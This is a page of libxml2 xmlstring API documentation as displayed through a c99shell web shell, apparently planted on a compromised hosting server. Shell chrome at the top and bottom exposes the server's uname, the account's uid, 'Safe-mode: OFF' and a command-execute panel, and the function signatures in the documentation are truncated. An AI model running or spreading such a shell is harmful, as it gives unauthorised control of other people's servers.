Software: Apache. PHP/7.3.33 uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) Safe-mode: OFF (not secure) /opt/alt/libxml2/usr/share/gtk-doc/html/libxml2/ drwxr-xr-x |
Viewing file: Select action/file-type:
xmlstringxmlstring - set of routines to process strings type and interfaces needed for the internal string handling of the library, especially UTF8 processing. Author(s): Daniel Veillard Synopsis#define BAD_CAST; typedef unsigned char xmlChar; xmlChar * xmlCharStrdup (const char * cur); xmlChar * xmlCharStrndup (const char * cur, DescriptionDetailsTypedef xmlCharunsigned char xmlChar; This is a basic byte in an UTF-8 encoded string. It's unsigned allowing to pinpoint case where char * are assigned to xmlChar * (possibly making serialization back impossible). xmlCharStrdup ()xmlChar * xmlCharStrdup (const char * cur) a strdup for char's to xmlChar's
xmlCharStrndup ()xmlChar * xmlCharStrndup (const char * cur, a strndup for char's to xmlChar's
xmlCheckUTF8 ()int xmlCheckUTF8 (const unsigned char * utf) Checks @utf for being valid UTF-8. @utf is assumed to be null-terminated. This function is not super-strict, as it will allow longer UTF-8 sequences than necessary. Note that Java is capable of producing these sequences if provoked. Also note, this routine checks for the 4-byte maximum size, but does not check for 0x10ffff maximum value.
xmlGetUTF8Char ()int xmlGetUTF8Char (const unsigned char * utf, Read the first UTF8 character from @utf
xmlStrEqual ()int xmlStrEqual (const xmlChar * str1, Check if both strings are equal of have same content. Should be a bit more readable and faster than xmlStrcmp() xmlStrPrintf ()int xmlStrPrintf (xmlChar * buf, Formats @msg and places result into @buf.
xmlStrQEqual ()int xmlStrQEqual (const xmlChar * pref, Check if a QName is Equal to a given string
xmlStrVPrintf ()int xmlStrVPrintf (xmlChar * buf, Formats @msg and places result into @buf.
xmlStrcasecmp ()int xmlStrcasecmp (const xmlChar * str1, a strcasecmp for xmlChar's xmlStrcasestr ()const xmlChar * xmlStrcasestr (const xmlChar * str, a case-ignoring strstr for xmlChar's xmlStrcat ()xmlChar * xmlStrcat (xmlChar * cur, a strcat for array of xmlChar's. Since they are supposed to be encoded in UTF-8 or an encoding with 8bit based chars, we assume a termination mark of '0'. xmlStrdup ()xmlChar * xmlStrdup (const xmlChar * cur) a strdup for array of xmlChar's. Since they are supposed to be encoded in UTF-8 or an encoding with 8bit based chars, we assume a termination mark of '0'. xmlStrncasecmp ()int xmlStrncasecmp (const xmlChar * str1, a strncasecmp for xmlChar's xmlStrncat ()xmlChar * xmlStrncat (xmlChar * cur, a strncat for array of xmlChar's, it will extend @cur with the len first bytes of @add. Note that if @len < 0 then this is an API error and NULL will be returned. xmlStrncatNew ()xmlChar * xmlStrncatNew (const xmlChar * str1, same as xmlStrncat, but creates a new string. The original two strings are not freed. If @len is < 0 then the length will be calculated automatically. xmlStrncmp ()int xmlStrncmp (const xmlChar * str1, a strncmp for xmlChar's xmlStrstr ()const xmlChar * xmlStrstr (const xmlChar * str, a strstr for xmlChar's xmlStrsub ()xmlChar * xmlStrsub (const xmlChar * str, Extract a substring of a given string xmlUTF8Charcmp ()int xmlUTF8Charcmp (const xmlChar * utf1, compares the two UCS4 values
xmlUTF8Size ()int xmlUTF8Size (const xmlChar * utf) calculates the internal size of a UTF8 character
xmlUTF8Strlen ()int xmlUTF8Strlen (const xmlChar * utf) compute the length of an UTF8 string, it doesn't do a full UTF8 checking of the content of the string.
xmlUTF8Strloc ()int xmlUTF8Strloc (const xmlChar * utf, a function to provide the relative location of a UTF8 char
xmlUTF8Strndup ()xmlChar * xmlUTF8Strndup (const xmlChar * utf, a strndup for array of UTF8's
xmlUTF8Strpos ()const xmlChar * xmlUTF8Strpos (const xmlChar * utf, a function to provide the equivalent of fetching a character from a string array
xmlUTF8Strsize ()int xmlUTF8Strsize (const xmlChar * utf, storage size of an UTF8 string the behaviour is not guaranteed if the input string is not UTF-8
xmlUTF8Strsub ()xmlChar * xmlUTF8Strsub (const xmlChar * utf, Create a substring from a given UTF-8 string Note: positions are given in units of UTF-8 chars
|
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0044 ]-- |